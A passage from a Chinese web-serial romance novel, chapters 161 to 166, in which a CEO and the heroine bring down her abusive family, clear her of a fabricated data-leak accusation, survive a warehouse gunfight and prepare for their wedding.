“合作愉快,晚晚。”
“叫我江顾问。”
“好的,晚晚。”
江晚絮瞪了他一眼,转身离开。
看着她虽然还有些跛,但脊背挺得笔直的背影,顾彦廷脸上的笑容逐渐消失,取而代之的是一种阴冷的杀伐之气。
他按通了内线电话,声音冷得像冰:“林舟,通知下去,大清洗开始。”
“凡是当初站队顾子源的,吃里扒外的,不管是什么皇亲国戚,统统给我滚蛋。”
“另外……可以收网了。”
“我要让江家人知道,动了我的心尖宠,是要付出血的代价的。”
自从江晚絮进了顾氏,研发中心的气氛就一直很压抑。
这位总裁夫人在她们眼里,一直是“柔弱”的代言词。
可最近……
“这组数据是谁算的?”
江晚絮把一份报告摔在会议桌上,“误差超过了0.05%,你们是做科研的,还是做慈善的?这点误差在实验室里可能只是个数字,到了临床上就是人命!”
会议室里鸦雀无静。
一个年资颇高的主管有些不服气,阴阳怪气地说道:“江顾问,这已经是行业标准了。再说了,您刚来,可能不了解情况,这么苛刻,恐怕进度赶不上吧?”
“行业标准?”
江晚絮冷笑一声,打开投影仪,“这是我昨晚重做的模型,精度提高了三个百分点,而且成本降低了10%。如果你的标准就是这种垃圾,那你现在就可以收拾东西走人了。”
屏幕上密密麻麻的数据和完美的模型曲线,让所有人都闭上了嘴。
“你……”主管脸色涨成了猪肝色,“你凭什么开除我?我是顾总亲自……”
“她是项目的总负责人,她说让你滚,你就得滚。”
一道低沉的声音从门口传来。
顾彦廷在这时走了进来。
他走到江晚絮身边,很自然地帮她拉开椅子,然后转身面对众人。
“我再说一遍,在这个项目里,江顾问的话就是我的话。”
“谁要是觉得江顾问的要求高,受不了,那是你能力不行。”
“顾氏,不养废物。”
那个主管吓得冷汗直流,连连道歉。
江晚絮并没有因为顾彦廷的撑腰而露出什么得意的表情,她依旧面无表情地看着那个主管:“道歉没用,重做。今晚十二点前我看不到合格的数据,你自己递辞呈。”
“是是是!”
会议结束后,人群散去。
会议室里只剩下顾彦廷和江晚絮两个人。
“够威风啊,顾总。”江晚絮一边整理文件,一边调侃道,“你就不怕寒了老员工的心?”
“那些是顾子源留下的蛀虫,你帮我清理了,我感谢还来不及。”
顾彦廷靠在桌边,看着她认真的侧脸,“累不累?腿疼不疼?”
“不累。”江晚絮头也不抬,“工作使我快乐。”
“可是我心疼。”
顾彦廷突然凑近,伸手想要帮她理一下耳边的碎发。
江晚絮后退一步,“顾总,约法三章第一条。”
顾彦廷的手无奈地收了回来,苦笑道:“只是头发乱了……好,我不动。晚……江顾问,晚上一起吃饭?庆祝一下第一阶段测试成功?”
“没空。”
江晚絮拒绝得干脆利落,“还有几组数据要跑,今晚我要在实验室通宵。”
“那我陪你。”
“不需要。你在旁边会影响我发挥。”
“那我在办公室等你,我不进去打扰你,行吗?”顾彦廷的语气里带着一丝卑微。
江晚絮看了他一眼,终究没说出更狠的话。
“随便你。”
看着江晚絮抱着文件离开的背影,顾彦廷叹了口气。
这追妻之路,真是路漫漫其修远兮啊。
深夜两点。
顾彦廷处理完最后一份关于收购的文件,揉了揉发胀的太阳穴。
他起身,倒了一杯温水,轻轻推开了隔壁实验室的门。
实验室里很安静,只有仪器运转的轻微嗡嗡声。
江晚絮趴在桌子上,睡着了。
她的面前摆满了各种
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图纸和数据报表,电脑屏幕还亮着,上面是复杂的三维模型。
她太累了。
这一周,她几乎就没怎么睡过好觉。
为了赶进度,更是为了用工作麻痹自己,她简直是在玩命。
顾彦廷放轻脚步,走到她身边。
灯光下,她的睡颜显得格外恬静,却又透着一股掩饰不住的疲惫。
眉头微微蹙着,像是在梦里也遇到了什么不开心的事。
顾彦廷把水杯放在一旁,目光落在她那条受过伤的腿上。
虽然做了最好的手术,用了最好的药,但每逢阴雨天,或者是过度劳累,这条腿还是会疼。
她从来不说。
就像在江家那些年,被打断了骨头也不肯求饶一样。
倔强得让人心疼。
顾彦廷脱下自己的西装外套,动作极其轻柔地盖在她的身上。
即便如此小心,江晚絮还是动了一下,嘴里含糊不清地呢喃了一句:“外婆……别怕……”
即使在梦里,她最牵挂的还是外婆。
顾彦廷蹲下身,伸出手想要触碰她的脸颊,指尖在距离皮肤几毫米的地方停住了。
他不敢。
怕惊醒她,更怕看到她醒来后那双冷漠疏离的眼睛。
“晚晚……”
顾彦廷低声呢喃,声音在寂静的夜里显得格外缱绻。
“你也知道疼,你也知道累,为什么就不肯依靠我一下呢?”
“我知道你受了太多苦,我知道你不敢再信了。可是看着你这样逼自己,比杀了我还难受。”
他想起前几天,在警局处理顾子源案子的时候,遇到了叶寒。
那个曾经不可一世的叶总,现在颓废得像个流浪汉,抓着他的衣领问:“晚絮呢?我要见晚絮!我是爱她的,我知道错了!”
当时顾彦廷只做了一件事。
他一拳把叶寒打翻在地,冷冷地说:“你不配提她的名字。”
可是现在,顾彦廷看着熟睡的江晚絮,突然觉得自己其实和叶寒也没什么两样。
如果当初他能早点发现方文远的事,如果他能早点从那种高高在上的姿态里走出来,如果他在她最需要的时候就在身边……
是不是一切都会不一样?
第162章 好戏开场
顾彦廷轻轻叹了口气。
“江晚絮,我到底该拿你怎么办?”
他低声自语,语气里满是无奈和深情。
就在这时,江晚絮的睫毛颤了颤。
顾彦廷立刻屏住呼吸。
江晚絮并没有醒,只是换了个姿势,脸颊无意识地蹭了蹭顾彦廷放在桌边的手背。
那种柔软的触感,顺着手背直击心脏。
顾彦廷浑身僵硬。
那是极其信任和依赖的姿态。
或许在她的潜意识里,这个充满了淡淡雪松味道的怀抱和气息,早已成了安全感的代名词。
顾彦廷的眼神瞬间温柔得能溺**。
他没有抽回手,就那样保持着蹲姿,任由她枕着自己的手背。
哪怕腿麻了,哪怕手臂酸了,他也不想动一下。
这一刻的安宁,是他用半条命换来的。
只要她还在,只要她还愿意让他靠近,哪怕只是一点点,哪怕是以朋友的名义。
他都甘之如饴。
窗外,京市的夜景璀璨繁华,霓虹闪烁。
办公室内,一盏孤灯,两个人,岁月静好。
但顾彦廷知道,这只是暴风雨前的宁静。
江家那群人,就像百足之虫死而不僵。既然晚晚要让他们后悔,那他就做她手里最锋利的那把刀。
明天。
明天太阳升起的时候,就是江家覆灭的开始。
而他,会一直站在她身后,直到她愿意回头,看他一眼。
第二天清晨。
江晚絮醒来的时候,身上盖着一件带着熟悉雪松味的西装外套。
那是顾彦廷的味道。
她愣了一下,环顾四周。
办公室里空无一人,但桌上放着一份温热的早餐,还有一张便签。
“醒了记得吃早餐,还是热的。十点钟,一号会议室见。——顾”
江晚絮拿起便签,嘴角不自觉地勾起一抹极淡的弧度。
好戏?
她看了看时间,九点半。
江晚絮简单洗漱了一下,吃了两口早餐,整理好妆容,走向一号会议室。
还没进门,就听到了里面传来的喧哗声。
“凭什么?!那是我们江家的产业!顾彦廷,你这是恶意收购!”
是江明泽的声音。
那个自负、傲慢,以前总是拿鼻孔看她的高知大哥。
江晚絮推开门。
会议室里坐满了人。
顾彦廷坐在主位,神情慵懒,手里把玩着那个打火机。
而他对面,站着气急败坏的江家人:江父和江明泽。甚至连柳芸也来了,正坐在地上撒泼。
“哟,都在呢。”
江晚絮淡淡地开口。
所有人的目光都集中在她身上。
“江晚絮?!”
江明泽指着江晚絮的鼻子骂道:“你这个扫把星,白眼狼!你还有脸来?你这个吃里扒外的**!”
若是以前,江晚絮可能会怕,会抖,会伤心。
“大哥,火气别这么大。”
江晚絮慢慢走到顾彦廷身边的位置坐下,顾彦廷顺手把那杯温水推到她手边。
“江明泽,注意你的措辞。”顾彦廷掀起眼皮,眼底一片冰寒,“再敢指着她骂一句,我就让人把你这根手指头剁下来。”
江明泽被顾彦廷的气场吓得缩了缩脖子,但还是不服气:“这是我们江家的家事!”
“家事?”
江晚絮笑了,眼神却冷得彻骨,“从你们把我推下楼梯,从你们逼我给江芊妤输血,从你们为了利益要把我卖给顾子源的那一刻起,我就没有家了。”
“江晚絮,你别太过分了!”江明泽推了推眼镜,“芊妤是你妹妹,她身体不好,你要在这个家里生活,付出一点怎么了?我们养你这么大,你就是这么报答我们的?”
“养我?”
江晚絮把一份文件甩在桌子上。
“这是顾氏集团资助明细。从小到大,我的学费、生活费,甚至连我那个小破屋的租金,都是顾家出的。你们江家,除了给我一顿顿的毒打和冷眼,给过我一分钱吗?”
江家人的脸色瞬间变得五彩斑斓。
他们当然不知道。
他们只知道江
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晚絮像个杂草一样,给点水就能活,**也不可惜。
“还有这个。”
江晚絮又扔出一份文件,“这是你们**制药这几年**的证据,还有****的记录。大哥,你不是自诩高知吗?这种低级的账目你也敢做?”
江明泽浑身颤抖,冷汗瞬间湿透了后背:“你……你怎么会有这些……”
“我想查,就能查到。”
江晚絮站起身,“今天叫你们来,不是为了叙旧。”
“顾总已经完成了对**制药的全面收购。从今天开始,**改姓顾。”
“而我,是新公司的技术总监。”
“换句话说,你们以后要看我的脸色吃饭。”
“或者……”江晚絮勾唇一笑,“你们也可以选择滚蛋,去牢里陪江明宇和江芊妤。”
“不!这不可能!”柳芸尖叫起来,“那是芊妤的嫁妆!那是我们要留给芊妤的!”
“江芊妤?”
顾彦廷冷笑一声,“她被判了死缓。你们要是想她,我可以安排你们去探监。不过,我觉得你们很快就能在里面团聚了。”
“警察已经在路上了。”
江晚絮冷着脸问道,“现在,后悔了吗?”
看着江家三兄弟面如死灰,看着柳芸瘫软在地,看着警察冲进来给他们戴上**。
江晚絮以为自己会很开心。
但其实,她心里很平静。
那种大仇得报的快感只有一瞬间,随之而来的,是一种深深的释然。
她转过头,看向顾彦廷。
顾彦廷正看着她,目光专注而深情。
“爽吗?”他问。
“还行。”江晚絮耸耸肩。
“那晚上能一起吃饭了吗?”
江晚絮看着他那双期待的眼睛,沉默了片刻,终于露出了一抹真心的笑容。
“看在你今天表现不错的份上,但我只吃法餐。”
顾彦廷的眼睛瞬间亮了,像是夜空中最亮的星。
“好,就吃法餐。去巴黎吃都行。”
只要你肯点头,天涯海角,我都陪你。
第163章 因为你是江晚絮
顾氏集团。
“滴——”
刺耳的警报声毫无预兆地响起。
“怎么回事?!”
“防火墙被攻破了!”
“核心数据正在外泄!快切断网络!”
一阵兵荒马乱。
江晚絮坐在主控台前,手指飞快地在键盘上敲击,试图拦截那股不知名的数据流。
“江顾问,请您停手。”
一只大手按在了她的键盘上。
是顾氏内部监察部的部长,李森。身后跟着四个穿着制服的保安,面色不善。
江晚絮没抬头。
“我在补救。再给我三分钟,我就能追踪到对方的IP。”
“不用了。”
李森冷笑一声,甩出一叠打印好的日志记录,“对方的IP我们已经追踪到了,就在这间实验室,就在这台电脑,就在你的账号下。”
“江晚絮,涉嫌出卖商业机密,跟我们走一趟吧。”
周围的空气瞬间凝固。
原本对她充满敬意的研究员们,立刻窃窃私语起来。
“我就说嘛,江家人,能有什么好东西。”
“听说她以前的学术论文就是抄的。”
“知人知面不知心啊,顾总对她那么好……”
江晚絮的手指蜷缩了一下。
“我没有。”
江晚絮站了起来,因为腿伤,动作有些迟缓,但脊背挺得笔直,“这是栽赃。我的账号被盗用了。”
“这种话,留着跟警察说吧。”
李森不耐烦地挥手,“带走!还要搜查她的私人物品,这次的新能源项目是顾氏的命脉,出了岔子,你十条命都不够赔!”
保安粗鲁地推搡了她一下。
江晚絮踉跄了一步,左肩撞在桌角,疼得她倒吸一口冷气。
“别碰我。”
江晚絮甩开保安的手,声音清冷,“我自己会走。”
从实验室到电梯的这段路,并不长。
但江晚絮觉得走了整整一个世纪。
两边是以前对她毕恭毕敬的同事,现在一个个避如蛇蝎。
电梯门开了。
不是一楼,而是顶层的总裁办。
会议室的大门被推开。
里面坐满了顾氏的董事,还有几个陌生的面孔,西装革履,却满脸横肉,一看就是来者不善的资方代表。
顾彦廷坐在主位上。
他手里转着那支钢笔,脸上看不出喜怒。
“人带到了。”
李森把江晚絮推进去,那份所谓的“证据”啪的一声摔在会议桌上。
“顾总,技术部已经确认,泄密源头就是江晚絮的私人邮箱。而且,我们在她的储物柜里,发现了一张还没来得及处理的巨额支票。”
一张两千万的支票。
出票方正是这次顾氏最大的竞争对手——M国的泰克集团。
“两千万?”
一个胖董事冷笑一声,“江顾问,你的身价倒是涨得快啊。”
江晚絮看着那张支票。
拙劣的陷害。
可是对于这群唯利是图的人来说,这就是铁证。
她看向顾彦廷。
如果连他也……
“解释。”
顾彦廷停下了转笔的动作看着她。
只有两个字。
江晚絮深吸一口气,沉声开口,“不是我。技术我可以复盘,那个时间段我在跑模型,根本没有时间发邮件。至于支票……那种东西,塞进柜子只需要两秒钟。”
“复盘?数据都泄露了,复盘有什么用!”
胖董事拍案而起,“顾彦廷,这就是你力排众议要保的人!顾氏的新能源核心参数没了,明天的发布会怎么开?这损失谁来担?!”
“就是!必须报警!把她送进去!”
“不仅要送进去,还要让她赔偿所有损失!”
谩骂声、指责声,像海啸一样扑面而来。
江晚絮站在风暴中心,孤立无援。
她突然觉得好累。
是不是无论她怎么努力,怎么爬,只要身上烙着“江家”和“叶寒前妻”的印记,她就永远只能活在泥潭里?
也许,她真的不该妄想光明。
“砰——!”
一声巨响。
顾彦廷手里的钢笔被狠狠砸在了会议桌中央,墨水溅开,像一朵黑色的彼岸花。
会议室瞬间安静下来。
顾彦廷站起身,拉开椅子,一步步走到江晚絮面前。
他比她高出一个头,阴影笼罩下来,隔绝了所有的视线。
“抬起头来。”
江晚絮缓缓睁开眼,对上了顾彦廷的眼睛。
“是你做的吗?”
江晚絮看着他,“不是。”
“好。”
顾彦
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廷转身,面向其他人。
“听到了吗?她说不是。”
胖董事气笑了:“她说不是就不是?顾彦廷,你被这个女人迷昏头了吧!证据确凿……”
“所谓的证据,就是几行可以伪造的代码,和一张随便谁都能塞进去的废纸?”
顾彦廷冷笑一声,眼神如刀锋般扫过众人,“在座的各位,哪个屁股底下是干净的?要不要我让林舟把你们私底下吃回扣、搞内幕交易的证据也拿出来晒晒?”
几位董事脸色骤变。
“顾彦廷!你这是要为了一个女人,拿整个顾氏开玩笑吗?”
“顾氏是我的顾氏。”
顾彦廷解开西装扣子,语气狂妄至极,“在这个项目里,江晚絮是总工程师。既然她说不是她,那就是有人在搞鬼。”
他走到李森面前,轻笑一声。
“给我反向查。查不出来那个栽赃的人,你这个部长也别干了,滚去非洲挖煤。”
李森双腿一软,差点跪下:“是……是!”
顾彦廷一把拉住江晚絮的手腕,将她带到自己身后。
“发布会照常进行。技术问题,她会解决。至于**……”
顾彦廷环视一周,然后开口,“谁敢再往她身上泼一滴脏水,我就让他死在泥潭里。”
说完,他拉着江晚絮,大步走出了会议室。
留下满屋子的人,面面相觑,噤若寒蝉。
电梯门合上。
狭小的空间里,只剩下他们两个人。
顾彦廷依然紧紧攥着她的手腕,力道大得有些疼。
“顾彦廷……”
江晚絮开口,声音有些哽咽,“那样做,不值得。万一我真的解决不了……”
“没有万一。”
顾彦廷打断她,转过身,将她逼到电梯角落。
他看着她泛红的眼尾,抬起手,用指腹轻轻摩挲着她的眼角。
“江晚絮,你记住了。”
“以前没人信你,那是他们眼瞎。”
“现在,只要你说没有,我就信。”
“哪怕是你把天捅了个窟窿,我也能给你补上。”
“为什么?”她问。
“因为你是江晚絮。”
顾彦廷低下头,额头抵着她的额头,呼吸交缠,“因为我不想再看到你那种……仿佛被全世界抛弃的眼神。”
第164章 我不配,却又舍不得
虽然顾彦廷压下了董事会,但外部的**已经炸锅了。
有人故意把消息捅给了媒体。
#顾氏女高管涉嫌商业间谍#
#江家弃女再陷丑闻#
#顾氏太子爷冲冠一怒为红颜,置股东利益于不顾#
热搜爆了。
江晚絮坐在副驾驶上,腿上放着笔记本电脑,手指如飞。
“找到了。”
她的声音冷静得有些机械,“对方很狡猾,用了三层跳板,但我刚才追踪到了他们的物理地址。不是海外,就在西郊的一个废弃物流园。”
顾彦廷猛打方向盘,黑色的迈巴赫像一只猎豹,咆哮着冲向西郊。
“林舟带人从后面包抄,我们先过去。”
“我也去。”江晚絮合上电脑。
“你在车里待着。”
“我是唯一的证人,我也要亲眼看到那个人是谁。”江晚絮看着他,“顾彦廷,我不躲在你身后。”
顾彦廷侧头看了她一眼。
“好。跟紧我。”
西郊物流园,荒草丛生。
空气中弥漫着铁锈和腐烂的味道。
那是江晚絮最讨厌的味道,会让她想起外婆被**的那座化工厂。
她的身体微微颤抖,但脚步没有停。
两人摸进了一间看似废弃的仓库。
里面有微弱的灯光,还有几个人在交谈。
“事情办妥了,那个女人现在是百口莫辩。”
“顾彦廷那个蠢货,为了个女人跟董事会翻脸,正好方便我们接手。”
是一个熟悉的声音。
顾氏的副总,张德海。
那个一直笑眯眯,被顾彦廷尊称为“张叔”的老狐狸。
江晚絮握紧了拳头。
“谁?!”
里面的人警觉性很高,听到了门口的动静。
“跑!”
顾彦廷反应极快,拉着江晚絮就往旁边的集装箱后躲。
“砰!砰!”
两声枪响。
**打在铁皮上,火星四溅。
“他们有枪。”
顾彦廷把江晚絮按在怀里,压低声音,“林舟还要五分钟才能到。我们得拖住他们。”
“怎么拖?”江晚絮闻到了他身上淡淡的烟草味,让她莫名心安。
“我去引开他们,你往后门跑。”
“不行!”江晚絮死死拽住他的衣角,“要去一起去。”
顾彦廷看着她坚定的眼神,无奈地笑了笑,伸手揉了揉她的头发。
“傻瓜。这时候逞什么能。”
说完,他用力推了她一把,“跑!”
然后整个人像离弦的箭一样冲了出去,故意弄出巨大的声响。
“在这边!”
歹徒被引走了。
江晚絮咬着牙,眼泪在眼眶里打转。
她知道顾彦廷是在拿命给她博生路。
她不想跑,她要帮忙。
她环顾四周,看到了仓库上方的控制室,那里有一个巨大的吊钩控制器。
江晚絮忍着腿上的剧痛,顺着生锈的铁梯爬上去。
下方,顾彦廷正和三个歹徒搏斗。
他身手很好,动作狠辣,一拳打碎了一个人的下巴。
但双拳难敌四手,何况对方手里有家伙。
张德海手里拿着一根铁棍,趁顾彦廷转身之际,狠狠砸向他的后背。
“顾彦廷!小心!”
江晚絮大喊一声,狠狠拍下了红色的按钮。
巨大的吊钩带着风声呼啸而下,正好砸在张德海和顾彦廷之间,溅起一片烟尘。
张德海被吓了一跳,后退几步。
顾彦廷趁机反击,夺过铁棍,一脚将一人踹飞。
但就在这时,躲在暗处的一个**瞄准了吊车上的江晚絮。
“砰!”
“晚晚!”
顾彦廷目眦欲裂。
那一瞬间,他仿佛看到了多年前那个只能在泥泞里挣扎的少女。
那种即将失去的恐惧,让他甚至忘记了思考。
他飞身扑向旁边的承重柱,用力一拽上面的缆绳。
堆在上面的几个沉重的木箱轰然倒塌,砸向了那个**。
但与此同时,**失准的**打断了吊车的液压管。
江晚絮所在的平台剧烈摇晃,直接断裂!
“啊——”
江晚絮整个人从三米高的地方摔了下来。
想象中粉身碎骨的疼痛并没有发生。
她落入了一个温暖而结实的怀抱。
紧接着是一声闷哼。
顾彦廷接住了她,但他自己却因为巨大的冲击力,重重地撞在身后的钢筋堆上。
一根生锈的钢筋,刺穿了他的左臂,鲜血瞬间染红了白色的衬衫。
“顾彦廷!”
江晚絮惊慌失措地爬起来,手忙脚乱地去捂他的伤口。
温热的血,粘稠,腥红。
这颜色刺激得她瞳孔放大,呼吸急促。
舅舅的血……外
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婆的血……现在是顾彦廷的血。
“别……别哭……”
顾彦廷疼得脸色惨白,却还强撑着抬起右手,擦掉她脸上的灰尘,“老子还没死呢……哭丧啊……”
“为什么……”江晚絮浑身发抖,声音破碎,“为什么要接住我?你会死的……”
“因为……”顾彦廷扯出一个虚弱的笑,“你是我的……全世界啊……”
警笛声终于响起。
特警冲了进来。
看着被抬上担架的顾彦廷,看着那一路滴落的血迹。
江晚絮跪在地上,双手全是血。
她突然觉得好冷。
那种深入骨髓的寒意,让她意识到一个可怕的事实:
她是个灾星。
所有爱她的人,靠近她的人,都没有好下场。
医院,VIP病房外。
走廊里的白炽灯光亮得刺眼。
江晚絮坐在长椅上,身上还穿着那件沾了灰尘和血迹的西装外套,那是顾彦廷给她披上的。
手术已经进行了三个小时。
虽然医生说没有伤及要害,但那根钢筋离大动脉只有不到一厘米。
只差一点点,她就再也见不到那个张扬跋扈的男人了。
“江小姐。”
江晚絮抬头,看到了一个穿着旗袍、披着羊绒披肩的中年贵妇。
顾彦廷的母亲,秦兰。
江晚絮下意识地站起来,因为紧张,手指紧紧绞在一起。
“顾夫人。”
她低下头,像个做错事的孩子。
等待着审判。
应该是让她滚吧?给她一张支票,让她离开她的儿子。
“坐吧。”
秦兰的声音听不出喜怒。
她在江晚絮身边坐下,目光落在江晚絮还在渗血的膝盖上。
“腿疼吗?”
江晚絮愣了一下,摇摇头:“不疼。”
比起心里的疼,这点不算什么。
“彦廷这孩子,从小就倔。”
秦兰叹了口气,看着紧闭的手术室大门,“他认定的东西,十头牛都拉不回来。以前为了一个模型,他能三天三夜不睡觉。现在为了你,命都不要了。”
江晚絮的头垂得更低了,眼泪砸在地板上。
“对不起……都是我的错。是我连累了他。我是个不祥的人,靠近我的人都会倒霉……”
“顾夫人,等他醒了,我会走的。我会离开京市,再也不出现在他面前。”
第165章 从此以后,荣辱与共
放手,或许是江晚絮唯一能做的事。
秦兰看着眼前这个满身狼狈却掩不住清冷气质的女人。
“走?你想走到哪去?”
秦兰突然笑了,从包里拿出一张纸巾,递给江晚絮,“顾家的男人,送出去的东西就没有收回来的道理。不管是命,还是心。”
江晚絮错愕地抬起头,接过纸巾,却忘了擦泪。
“您……不赶我走?”
“我为什么要赶你走?”
秦兰理了理披肩,“我以前确实觉得你配不上彦廷。毕竟我们这种家庭,讲究门当户对。你那个原生家庭,烂透了。”
江晚絮脸色苍白,指甲掐进掌心。
“但是,”秦兰话锋一转,“这一年,我看着彦廷的变化。以前他像个只会赚钱的机器,冷冰冰的,连对我这个亲妈都没几句真心话。可是遇见你之后,他像个人了。会笑,会生气,会为了给一个人出气把天翻过来。”
“刚才林舟告诉我,那根钢筋砸下来的时候,他完全可以躲开。但他要是躲了,你就没命了。”
秦兰看着江晚絮的眼睛,语气变得郑重。
“江晚絮,我不是在夸你。我是在告诉你,你是他的命。”
“你要是走了,你让他这半条命怎么活?”
江晚絮的泪水决堤而出。
她以为自己面对的是豪门婆婆的刁难,却没想到是一份沉甸甸的托付。
“可是……我会害了他……”
“屁话。”
秦兰突然爆了一句粗口,哪怕穿着旗袍也掩盖不住那种霸气,“什么灾星不灾星的,那是弱者的借口。我们顾家人,从来不信命。只信事在人为。”
“既然你觉得亏欠他,那就留在他身边,用你的一辈子去还。把你那一身本事拿出来,帮他把顾氏做得更大,让那些看不起你的人闭嘴。”
“这才是对他最好的报答,而不是当个缩头乌龟逃跑。”
江晚絮怔怔地看着秦兰。
是啊。
逃避有什么用?
她逃了五年,结果呢?
只有变得强大,强大到足以并肩而立,才能真正保护想保护的人。
“我明白了。”
江晚絮擦干眼泪,眼神重新变得坚定,“谢谢您,顾夫人。”
“不用谢我。我只是不想我儿子醒了之后发疯。”
秦兰站起身,“还有,别叫顾夫人了。听着生分。”
说完,她踩着高跟鞋离开了。
走到拐角处,秦兰才偷偷抹了抹眼角。
“臭小子,你要是再搞不定,就别回这个家了。”
顾彦廷醒来的时候,已经是第二天中午。
麻药劲儿刚过,左臂像是被火烧一样疼。
他皱了皱眉,睁开眼,第一眼就看到了趴在床边的江晚絮。
她睡得很浅,眉头紧锁,像是在做噩梦。
那只没受伤的手,紧紧抓着他的右手手指,仿佛一松手他就会消失。
顾彦廷的心软得一塌糊涂。
他动了动手指,想要抚平她的眉心。
江晚絮立刻惊醒了。
“你醒了?疼不疼?我去叫医生!”
她慌乱地站起来,因为腿麻差点摔倒。
“别动。”
顾彦廷反手握住她的手,“我不疼。看见你就好了。”
江晚絮看着他苍白的脸,眼圈瞬间红了。
“顾彦廷,你是个疯子。”
“嗯,我是。”
顾彦廷看着她,“但我赢了。是不是?”
他看到了她眼里的心疼,不再是那种疏离的客套,而是实实在在的情意。
江晚絮深吸一口气,“顾彦廷,我有话跟你说。”
“如果是要走的话,那就闭嘴。”顾彦廷眼神一冷。
“我不走。”
江晚絮握住他的手,力道很大,“我不走了。就算你赶我,我也不走。”
顾彦廷愣住了。
幸福来得太突然,让他有点不敢相信。
“你……说什么?”
“我说,我要赖上你了。”
江晚絮看着他的眼睛,一字一句,“昨天我想了一晚上。我这辈子,前半生都在被人抛弃,被人嫌弃。只有你,拿命来换我。既然我的命是你救回来的,那以后就是你的。”
“而且……这几个月,是我太钻牛角尖了。我以为,我在你身边会让你痛苦,而我
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也总是愧疚。可其实……”
江晚絮说着,自嘲地笑了笑,“我所谓的愧疚,根本就是自私。我甚至从来没想过与你共同面对,我根本没想过你从来没有在意过任何外界的伤害。”
“是我对不起你,是我……伤害了你。”
说到这里,江晚絮忍不住鼻子发酸。
如果不是秦兰那一番话,她现在恐怕还陷在自己所谓的“远离既保护”的奇怪思维离。
“我不配也罢,灾星也罢。我不信命了,我信你。”
顾彦廷定定地看着她,眼底的冰雪消融,化作了一汪春水。
他猛地一拉,把她拽到了自己面前,顾不得手臂的疼痛,狠狠地吻了上去。
这是一个带着血腥味、消毒水味,却又无比甜美的吻。
是失而复得,是生死与共。
“唔……你的伤……”江晚絮怕碰到他的伤口,不敢挣扎。
“不管。”
良久,顾彦廷才松开她,额头抵着她的,笑得像个得到了糖果的孩子。
“晚晚,这是你说的。你要是敢反悔,我就把你锁起来。”
半个月后。
顾氏新能源项目发布会,如期举行。
不仅如此,还爆出了一个惊天大瓜。
顾氏副总张德海因为商业间谍罪、非法**、故意**罪被捕。
而作为项目总工的江晚絮,一身白色西装,站在聚光灯下,自信、从容、美丽得不可方物。
她用最完美的数据,最硬核的技术,狠狠打了所有质疑者的脸。
发布会结束后,是顾家的家宴。
这是江晚絮第一次正式以“顾彦廷妻子”的身份出席。
顾家老宅,灯火通明。
除了顾父顾母,还有那帮旁系的亲戚,七大姑八大姨。
“哎哟,这就是江晚絮啊?”
一个穿着貂皮大衣的婶婶阴阳怪气地开口,“长得倒是挺标致。可惜啊,是个二婚头。听说以前那个老公还是植物人?这也太晦气了。”
“就是,咱们彦廷可是京圈太子爷,什么样的名媛找不到,非要捡个破鞋……”
声音不大,却刚好能让江晚絮听到。
第166章 迟来的盛妆
顾彦廷脸色一沉,刚要发作,却**晚絮按住了手。
她对他笑了笑,那笑容里带着几分狡黠和霸气。
以前的江晚絮,会忍。
现在的江晚絮,也就是钮祜禄·晚絮。
她端着红酒杯,优雅地走到那个婶婶面前。
“这位婶婶,您身上的貂皮大衣不错,就是款式老了点,像十年前的款。”
婶婶脸色一变:“你懂什么!这是限量版!”
“限量版?”
江晚絮轻笑一声,“在这个圈子里,价值从来不是靠衣服撑起来的。我确实离过婚,但这并不影响我现在的身价。顾氏的新能源项目,我拥有5%的技术干股,市值大约三十个亿。”
她晃了晃酒杯,眼神凌厉,“也就是说,我现在站在这里,不仅仅是因为顾彦廷喜欢我,更是因为我有这个资本。”
“而您,除了在这里嚼舌根,给顾家创造过一分钱的价值吗?”
全场鸦雀无声。
顾彦廷看着她,眼里的爱意藏都藏不住。
这才是他的女人。
够辣,够劲。
“说得好!”
一直没说话的顾父,突然鼓掌。
虽然他对江晚絮的过去还是有些芥蒂,但这个女人刚才那份不卑不亢的气度,确实很摄人。
“过去的事,翻篇了。既然进了顾家的门,那就是一家人。”
顾父这一开口,算是彻底盖章定论。
那些旁系亲戚哪怕心里再不爽,也只能陪着笑脸。
晚宴结束后。
顾彦廷和江晚絮牵着手来到花园里。
月色如水。
顾彦廷从身后抱住江晚絮,下巴搁在她的肩窝里。
“顾太太,刚才真威风。”
江晚絮挑眉,“不能给你丢人。”
“腿疼不疼?”
“有点。”
“那我背你。”
顾彦廷在她面前蹲下,“上来。”
江晚絮趴在他宽厚的背上,双手环住他的脖子。
“顾彦廷。”
“嗯?”
“谢谢你。”
谢谢你,把我从地狱里拉出来。
谢谢你,让我重新相信爱。
谢谢你,让我知道,原来我也值得被偏爱。
顾彦廷侧过头,在她的手背上亲了一下。
“不客气,我的荣幸。”
“晚晚,以后不管前面的路有多难,有我给你挡着。你只管往前走,不用回头。”
江晚絮把脸埋在他的颈窝,眼泪悄悄滑落,却是甜的。
十天后。
京市最大的七星级酒店,今日不对外营业。
方圆五公里的街道铺满了鲜花,那是顾彦廷让人从普罗旺斯空运来的薰衣草和白玫瑰。
整个京圈都在震动。
今天是顾氏集团掌权人顾彦廷,和江晚絮的婚礼。
化妆间里。
顶级造型师正在给江晚絮上妆,手都在抖。
这可是顾总的心肝宝贝,要是粉底拍重了一点,明天这双手估计就得去工地搬砖了。
“江小姐,这件婚纱是顾总亲自参与设计的。”
造型师惊艳地看着挂在架子上的高定婚纱,上面镶嵌了九千九百九十九颗碎钻。
江晚絮坐在镜子前,看着镜中的自己。
很美。
美的有些陌生。
她下意识地摸了摸自己的后背。
那里有一道淡粉色的疤。
是五年前,她发烧到三十九度,求叶寒送她去医院,结果被叶寒一把推开,后背撞在滚烫的暖气片上留下的。
那时叶寒说什么来着?
——“江晚絮,你发个烧就要死要活?芊妤心情不好,我没空在这里陪你。”
“换一件吧。”
江晚絮垂下眼帘,声音很轻,“不要露背的。”
造型师一愣,“可是这一件……”
“听她的。”
低沉磁性的声音从门口传来。
顾彦廷一身黑色手工西装,宽肩窄腰,气场全开。
他大步走进来,挥手让其他人退下。
他走到江晚絮身后,大手轻轻抚上她单薄的脊背。
“怎么了?不喜欢?”
江晚絮有些局促:“有疤……难看。”
她习惯了藏拙,习惯了把自己包裹得严严实实,因为曾经只要她稍微露出一的好,换来的就是江芊妤的嫉妒和江家哥哥们的打压。
顾彦廷眼神一暗。
他俯下身,温热的唇瓣隔着丝绸睡袍,吻在了那个位置。
“不难看。”
“晚晚,那是你的勋章,也是我的罪证——怪我没早点找到你。”
顾彦廷从口袋里拿出一个丝绒盒子,打开,里面是一条璀璨夺目的粉钻项链,吊坠正好能垂在后背,遮住那道疤,却又因为钻石的光芒,让那里变得更加迷人。
“遮住了。”
